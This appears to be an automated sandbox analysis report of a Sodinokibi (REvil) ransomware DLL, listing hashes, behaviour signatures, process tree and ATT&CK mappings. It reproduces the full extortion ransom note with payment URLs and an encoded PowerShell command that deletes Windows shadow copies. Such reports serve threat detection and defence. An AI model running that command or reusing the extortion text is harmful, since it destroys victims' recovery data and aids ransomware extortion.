Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    09-11-2020 19:27

General

  • Target

    file.dll

  • Size

    166KB

  • MD5

    621382b4f07a2da6deffdc8ccd502f85

  • SHA1

    b2fd492ebd3912a92fca518320a6c8e5aee3b11b

  • SHA256

    910489e9cbb9be62a2ee6100e09d0d6006fe21cbd73d5b7085f1b69f292cf006

  • SHA512

    11afe343d0c86ec2b7dbf0712b0988c07f633a92e45d5bef3825d4468718cc0d65ffa546a9cdbc1b13b5b29b6c43e61906fe06b89400451cb004004fd9409a7b

Malware Config

Extracted

Path

C:\1337t2o60-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 1337t2o60. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/48F61DADA5BE6A9D 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/48F61DADA5BE6A9D Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: hHZcEhfFAGJ9XNr0+wMFhKcSmAkRYPj9NkF58WIr2J8j3edaMqkB1slsf98gm/Qw lmPf8iPZx0m1OXqJcWLkR/aU0Up04ohmpRTTg25csvUvNhOshKu3y54Gd5S7v+Ej Py6wUrfIXZaKh9cb1BGwggWBmowebsNNagkyJPrX23EOuca07A1yfHztmaEsHH5B vy7D1j4okE1nqDCLSSFx/COWURP5PC1IXsU1a7LBOtTd3YtKf/GMFMYtXb2RlIkt BYmCHQXQbWUAMpbEbP5Ue98bjYsQ9RBp6RSasf9Um23wHCdJuAvTFgzaIVFnZKjC /2BxTlfNxrL2MFEWcX2esfXUEiAyAzyibfk4eSBdiMclmBdtAz8iL4EskrRsBszc pJ6hqoBqq3WBnmfeCx+uFFvR1P6RVOACxY4S4dtSK5ppEEIfsgSjAP/CQex81E3+ Hye+SMFxq8TsRj7Rry1IKkiKr/3NtKAMubcn6c7YhEdSl0/Z0Og5ERvIlG20JCtl B2i96Qq0Eiaa4p6t2Z18MoJB7spAF5Qtu3DRgpEXhEt9Fi70kGC8TscLIxo+cAL1 4ygjRFFKtQKWwPHbhxnTYQc+PS6coGrUo2Fm3iZxlgFZpE74yOVAW6D+wF2dpr5x RnuyVyPOvZyWZQk4Ajn4QoB8Os+4L6B+IGxUeTTMyjiWhRmW0X224PQGqfiNRz7u nhXRT56BKy/hXt6PLry2n4X9MwKCa6s54i1vXWZM9EwC2EaxQlyzcH9xb70NqkES oQd8koC+p+e2hJAEXOlCRcnxQfPBuNZU7lStEvAg8gcX8Dji5BXd3KRFr+WvwVDX aomepVvA7x0Nds6sroSb+YrSvyookTj7Tteovcy/I+UeH78KNq6uXB3JngH5amh/ vXPWM4wXtNKBWJptDPOMubWhEeEzabY5YFtOun16xExN8Q6689dxUidIdhyDBED5 nvJpEf7ZPKywVzymQNPuTjH6Mu2empNktxVc1OgGI/GNMGZ0q559tZGQKFBpzkGa SJ7GlJODM4aDKvCl35nDY43YR3FUkH2xg621EfUzWWftFcqnraJBFzDnAbDKR4MW OFjo9YWNVVEWpE54jv7/EIXGiTEn2uxN+Iekav4p0wHRGbvgNOgQhVNRltjWhKDS QzzBOnB8EKcTA4bQ1MzuCCnx9F2UvcX+wWRzRf90kpHQD0gxAiCWlgjsGwYhMm4c cwYoTNcat1daZYadyo+mf/ewPGS88IUFaW/xMfEKmt0RwTpPAQ3xbcpGdj7o7hCE CyCLP+cpD+ho5eY3oRmazQJqqRKPXQ== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/48F61DADA5BE6A9D

http://decryptor.cc/48F61DADA5BE6A9D

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Blacklisted process makes network request 118 IoCs
  • Modifies extensions of user files 3 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Modifies service 2 TTPs 5 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 31 IoCs
  • Modifies system certificate store 2 TTPs 9 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\file.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:980
    • C:\Windows\SysWOW64\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\file.dll,#1
      2⤵
      • Blacklisted process makes network request
      • Modifies extensions of user files
      • Enumerates connected drives
      • Sets desktop wallpaper using registry
      • Drops file in Program Files directory
      • Modifies system certificate store
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1172
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3772
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:2640
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Modifies service
      • Suspicious use of AdjustPrivilegeToken
      PID:1132

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Persistence

    Modify Existing Service

    1
    T1031

    Defense Evasion

    Modify Registry

    3
    T1112

    Install Root Certificate

    1
    T1130

    Discovery

    Query Registry

    1
    T1012

    Peripheral Device Discovery

    1
    T1120

    System Information Discovery

    1
    T1082

    Impact

    Defacement

    1
    T1491

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1172-0-0x0000000000000000-mapping.dmp
    • memory/3772-1-0x0000000000000000-mapping.dmp
    • memory/3772-2-0x00007FFA12FF0000-0x00007FFA139DC000-memory.dmp
      Filesize

      9.9MB

    • memory/3772-3-0x00000156755F0000-0x00000156755F1000-memory.dmp
      Filesize

      4KB

    • memory/3772-4-0x00000156757A0000-0x00000156757A1000-memory.dmp
      Filesize

      4KB